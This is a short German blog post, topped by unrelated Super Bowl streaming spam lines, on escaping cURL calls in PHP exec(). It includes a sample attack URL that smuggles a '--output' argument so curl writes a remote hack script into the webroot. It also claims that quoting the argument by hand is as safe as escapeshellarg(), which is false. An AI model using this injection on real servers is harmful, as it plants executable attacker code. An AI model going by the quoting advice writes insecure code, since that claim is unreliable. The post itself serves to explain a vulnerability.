live superbowl stream

watch superbowl live

live superbowl stream

SuperBowl

watch superbowl online

watch superbowl live

Watch The Superbowl online

Watch The Superbowl online

super bowl

SuperBowl

cURL in exec() richtig escapen

Es soll ja manchmal vorkommen, dass man in PHP cURL per exec()-Methode aufrufen will.

Sei es, um eine Dateu herunterzuladen, diese weiterzuverarbeiten und anders formatiert wieder auszugeben.

Nicht zuletzt dann, wenn man die php-eigenen Funktionen nicht benutzen kann, weil es sich um https-Adressen handelt.

Hier probiert man dann auch mal so etwas:

<?php

$url = $_GET['url'];

exec(‘curl ‘.escapeshellcmd($url));

?>

Aber genau das ist falsch.

Richtig dagegen ist:

<?php

$url = $_GET['url'];

exec(‘curl ‘.escapeshellarg($url));

?>

Und warum? escapeshellarg() ist genau das gleiche wie  escapeshellcmd, mit dem einzigen Unterschied, dass das Argument in Hochkommas gesetzt wird. Natürlich kann man die Hochkommas, oder Anführungsstriche (Gänsefüsschen oben) auch selber setzen, dannist man genauso sicher, aber vergessen darf man sie nicht!

Und warum nicht vergessen?

Ganz einfach:

Die URL wurde per GET-Variable übergeben. Also kann der User sie verändern.

Also könnte er ganz einfach schreiben:

script.php?url=http://www.server.de/böses-script.txt –output=/path/to/webserver/htdocs/hackscript.php

Und schon wird das böse-hackscript auf dem Webserver gespeichert und kann dort ausgeführt werden.

In wenigen Tagen verrate ich euch dann, in welcher Software es genau falsch gemacht wird und was man ändern sollte :-)

1 Trackback

  1. [...] Security-Post wie dieses hat natürlich immer einen [...]